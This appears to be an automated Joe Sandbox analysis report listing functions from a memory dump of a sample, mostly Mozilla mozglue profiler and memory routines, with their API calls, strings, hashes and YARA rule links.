Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: fe3d195b09ceac6f143be8d8ac6c36a71e089144bf9110a628226c2583820b2e
Instruction ID: 79ac8aa4411400e912658caa37b4b30918a393c3b385394187a88b039cc058ef
Opcode Fuzzy Hash: fe3d195b09ceac6f143be8d8ac6c36a71e089144bf9110a628226c2583820b2e
Instruction Fuzzy Hash: 6001D870B015118BD7109BACDC51A4E33B5BB45328F15063FED0A86B61D725FA64895F

Function 6C590F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C590F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C590F88
GetCurrentThreadId.KERNEL32 ref: 6C590FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C591067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5910A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C59114B

Part of subcall function 6C588AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C5A1563), ref: 6C588BD5

free.MOZGLUE(?), ref: 6C591174
free.MOZGLUE(?), ref: 6C591186

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 4c5d6bc13c1dff88586e9d1e176f7ab671fcbcba74d20faefba1144352c4e939
Instruction ID: 2dbea082e57208c47aaa329787ae401e0848b6a1b94545776f3c42f7b91ed87a
Opcode Fuzzy Hash: 4c5d6bc13c1dff88586e9d1e176f7ab671fcbcba74d20faefba1144352c4e939
Instruction Fuzzy Hash: C4617D75A04780DBDB10DF25CC8079AB7F5BFC9308F05895DE88957612EB71E949CB82

Function 6C54B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C54B61E,?,?,?,?,?,00000000), ref: 6C54B6AC

Part of subcall function 6C55CA10: malloc.MOZGLUE(?), ref: 6C55CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C54B61E,?,?,?,?,?,00000000), ref: 6C54B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C54B61E,?,?,?,?,?,00000000), ref: 6C54B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C54B61E,?,?,?,?,?,00000000), ref: 6C54B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C54B61E,?,?,?,?,?,00000000), ref: 6C54B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C54B61E), ref: 6C54B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C54B61E,?,?,?,?,?,00000000), ref: 6C54B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C54B61E,?,?,?,?,?,00000000), ref: 6C54B79A

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 12564124a7a52e1f518cd5f6f90c73547b34ce85d97df6eb3e839a3082f63bf2
Instruction ID: 1d921c10a5896d1efa0a2f7f7a7346cb1b4b3d17352365e52aed968c3f64be79
Opcode Fuzzy Hash: 12564124a7a52e1f518cd5f6f90c73547b34ce85d97df6eb3e839a3082f63bf2
Instruction Fuzzy Hash: 1741D3B2D005158FCB00EF68DC906AEBBB9FF84324F254669E825E7780E731AD1487E1

Function 6C54EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C5C5104), ref: 6C54EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C54EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C54EFEC
free.MOZGLUE(?), ref: 6C54F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C54F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C54F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F065
moz_xmalloc.MOZGLUE ref: 6C54F072

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 31fa3eff61d53ce112be8185f93c54a22abec405c1b2fd7c9553b5b84e717432
Instruction ID: d422ce4fd5cbbf12b8091e3aa96ce1bc3f9507ee18cef08a49a70d1895c33832
Opcode Fuzzy Hash: 31fa3eff61d53ce112be8185f93c54a22abec405c1b2fd7c9553b5b84e717432
Instruction Fuzzy Hash: 6A41B2B1A002159FCB08CF68DC909AE7769FFC8324B244629E816DB794EB71ED15C7E1

Function 6C5BB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C5BB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C5BB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C5BB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C5BB5F4
__Init_thread_footer.LIBCMT ref: 6C5BB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C5BB61F
std::_Facet_Register.LIBCPMT ref: 6C5BB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BB655

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: b7a3793eb18fa59973205d841bca3750254c8e82171ed5c40fa38c399f280007
Instruction ID: 29a54afd0248d6009943cd2229011f605accbd7bbaa6892091488dbe5486dd33
Opcode Fuzzy Hash: b7a3793eb18fa59973205d841bca3750254c8e82171ed5c40fa38c399f280007
Instruction Fuzzy Hash: C831A471B00A04CBCF00EF69CC949AEBBB5EB85325B16051DD906A7780DB70AE46CB96

Function 6C586590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C57FA80: GetCurrentThreadId.KERNEL32 ref: 6C57FA8D
Part of subcall function 6C57FA80: AcquireSRWLockExclusive.KERNEL32(6C5CF448), ref: 6C57FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C586727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5867C8

Part of subcall function 6C594290: memcpy.VCRUNTIME140(?,?,6C5A2003,6C5A0AD9,?,6C5A0AD9,00000000,?,6C5A0AD9,?,00000004,?,6C5A1A62,?,6C5A2003,?), ref: 6C5942C4

Strings

v\l, xrefs: 6C58696C
data, xrefs: 6C586593

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$v\l
API String ID: 511789754-9410072
Opcode ID: e1ff6a3997492b2db6882fd522b891a44e6c1809b2f2da8f4b4c18bffe8ee2c8
Instruction ID: f76506a1d820acf429a06f84baa97d282a170b05b58e79b24c3d087790da60c2
Opcode Fuzzy Hash: e1ff6a3997492b2db6882fd522b891a44e6c1809b2f2da8f4b4c18bffe8ee2c8
Instruction Fuzzy Hash: 51D1CD75A15380CFD724DF25CC50B9EBBE5AFC5308F10492EE48997B91EB30A949CB92

Function 6C57D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C54EB57,?,?,?,?,?,?,?,?,?), ref: 6C57D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C54EB57,?), ref: 6C57D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C54EB57,?), ref: 6C57D673
free.MOZGLUE(?), ref: 6C57D888

Strings

WTl, xrefs: 6C57D5D9, 6C57D63F
|Enabled, xrefs: 6C57D81E

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WTl$|Enabled
API String ID: 4142949111-3559209403
Opcode ID: 62c5a61672508e57b486e353bf7a94315a5f057d6308875669d35436ab285660
Instruction ID: c362d19b73546c3ca437974517a1f84f2e9698d6a3e4d7870b553f2c8ebd361e
Opcode Fuzzy Hash: 62c5a61672508e57b486e353bf7a94315a5f057d6308875669d35436ab285660
Instruction Fuzzy Hash: 5CA10470A00204CFDB21CF69CC907AEBBF1AF49318F14855DD899AB741D735A985CBA1

Function 6C559830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C5A7ABE), ref: 6C55985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C5A7ABE), ref: 6C5598A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C559909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C559918
free.MOZGLUE(?), ref: 6C559975

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 78568bb2ef1a5ce0d1232ca7a6f8e1ef35af7c20bb0ff2c84f73a80a4e7dbd55
Instruction ID: 6bae522a5bc6a53a72b54853c72b51978834730a2929e57ac0a7547a91d28bd6
Opcode Fuzzy Hash: 78568bb2ef1a5ce0d1232ca7a6f8e1ef35af7c20bb0ff2c84f73a80a4e7dbd55
Instruction Fuzzy Hash: 21719CB4604705CFC725CF28C880956B7F1FF8A3247A44AAED85A8BBA0D775F852CB51

Function 6C55B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C59CC83,?,?,?,?,?,?,?,?,?,6C59BCAE,?,?,6C58DC2C), ref: 6C55B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C59CC83,?,?,?,?,?,?,?,?,?,6C59BCAE,?,?,6C58DC2C), ref: 6C55B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C59CC83,?,?,?,?,?,?,?,?,?,6C59BCAE), ref: 6C55B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C59CC83,?,?,?,?,?,?,?,?,?,6C59BCAE,?,?,6C58DC2C), ref: 6C55B896

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: caa4c721b24efa92b3a87662d2e40c8477731353dda9ff5128f351e9b6120045
Instruction ID: 4922e7f3e3f135fe1e232f7325ca27d5444ae7328b5ca94072f7158aeaea4da3
Opcode Fuzzy Hash: caa4c721b24efa92b3a87662d2e40c8477731353dda9ff5128f351e9b6120045
Instruction Fuzzy Hash: 73519F757006048FCB14EF59C888A3AB7F5FF89318B99895EE98A97341C731EC11CB84

Function 6C591D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C591D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C591BE3,?,?,6C591D96,00000000), ref: 6C591D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C591BE3,?,?,6C591D96,00000000), ref: 6C591D4C
GetCurrentThreadId.KERNEL32 ref: 6C591DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C591DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C591DDA

Part of subcall function 6C591EF0: GetCurrentThreadId.KERNEL32 ref: 6C591F03
Part of subcall function 6C591EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C591DF2,00000000,00000000), ref: 6C591F0C
Part of subcall function 6C591EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C591F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C591DF4

Part of subcall function 6C55CA10: malloc.MOZGLUE(?), ref: 6C55CA26

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 1b883a56cc7ce3eae1c7d5f935f4aff01eae560a983641c990bbc22d4d1839b5
Instruction ID: 431c7f64e222cc166c79a31b4b62813b0a909fe303a4899779f5a7f910d4e06a
Opcode Fuzzy Hash: 1b883a56cc7ce3eae1c7d5f935f4aff01eae560a983641c990bbc22d4d1839b5
Instruction Fuzzy Hash: CB4178B9200700AFCB10DF28C888B56BBF9FB89714F11446EE95A87B41DB71F954CB95

Function 6C5884E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5884F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C58850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C58851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C58855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C58856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5885AC

Part of subcall function 6C587670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C58767F
Part of subcall function 6C587670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C587693
Part of subcall function 6C587670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5876A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5885B2

Part of subcall function 6C565E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C565EDB
Part of subcall function 6C565E90: memset.VCRUNTIME140(ewZl,000000E5,?), ref: 6C565F27
Part of subcall function 6C565E90: LeaveCriticalSection.KERNEL32(?), ref: 6C565FB2

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: a6fd7ceaea648ade058dde92b4543ecd2d7712305cccefd4ff3fd25dadea0168
Instruction ID: 784984c0ee8fc33a9e35da00384d17c6200b64664ebd7dcdcac429456ff7fec4
Opcode Fuzzy Hash: a6fd7ceaea648ade058dde92b4543ecd2d7712305cccefd4ff3fd25dadea0168
Instruction Fuzzy Hash: D9217F74202601AFDB14DB25CC88A5AB7B5FF8430CF15482DE55B83B82EB31F949CB56

Function 6C551640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C551699
VerSetConditionMask.NTDLL ref: 6C5516CB
VerSetConditionMask.NTDLL ref: 6C5516D7
VerSetConditionMask.NTDLL ref: 6C5516DE
VerSetConditionMask.NTDLL ref: 6C5516E5
VerSetConditionMask.NTDLL ref: 6C5516EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5516F9

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 8b37f63bdab4cbfe677d89d71dd6f7b951169c769e4b76975cfdafa4254bca6f
Instruction ID: f7d31d8a0c0907fdba617cc83cccf84135c92349cabd3dbeb78c5b55c8b5a4a7
Opcode Fuzzy Hash: 8b37f63bdab4cbfe677d89d71dd6f7b951169c769e4b76975cfdafa4254bca6f
Instruction Fuzzy Hash: 4F21C0B07402086BEB116B688C86FBBB6BCEBC6704F41452CF6459B6C0D6749E64C6A5

Function 6C58F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C57CBE8: GetCurrentProcess.KERNEL32(?,6C5431A7), ref: 6C57CBF1
Part of subcall function 6C57CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5431A7), ref: 6C57CBFA

Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C554A68), ref: 6C58945E
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C589470
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C589482
Part of subcall function 6C589420: __Init_thread_footer.LIBCMT ref: 6C58949F

GetCurrentThreadId.KERNEL32 ref: 6C58F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C58F598), ref: 6C58F621

Part of subcall function 6C5894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5894EE
Part of subcall function 6C5894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C589508

GetCurrentThreadId.KERNEL32 ref: 6C58F637
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8,?,?,00000000,?,6C58F598), ref: 6C58F645
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8,?,?,00000000,?,6C58F598), ref: 6C58F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C58F62A

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 19101c5e1ea008f240a54965863e1ea58d3c2cf0b7152bfe5f0ab67a8d7bd368
Instruction ID: 1dccf6f43c32724b0c0355b66aa3aa4e9243b61ddbd20e5d4944480ebb0fca04
Opcode Fuzzy Hash: 19101c5e1ea008f240a54965863e1ea58d3c2cf0b7152bfe5f0ab67a8d7bd368
Instruction Fuzzy Hash: A811E335302A14EBCB00AF59CC489E57779FBCA76DB110119EA0683F42CB76AD11CBA9

Function 6C552070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C57AB89: EnterCriticalSection.KERNEL32(6C5CE370,?,?,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284), ref: 6C57AB94
Part of subcall function 6C57AB89: LeaveCriticalSection.KERNEL32(6C5CE370,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C57ABD1

LoadLibraryW.KERNEL32(combase.dll,6C551C5F), ref: 6C5520AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5520CD
__Init_thread_footer.LIBCMT ref: 6C5520E1
FreeLibrary.KERNEL32 ref: 6C552124

Strings

CoInitializeSecurity, xrefs: 6C5520C7
combase.dll, xrefs: 6C5520A9

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 9a82bb2e5b28bdd7c89ec82779d74712693ef91d4f369b7498328f44ad1777b6
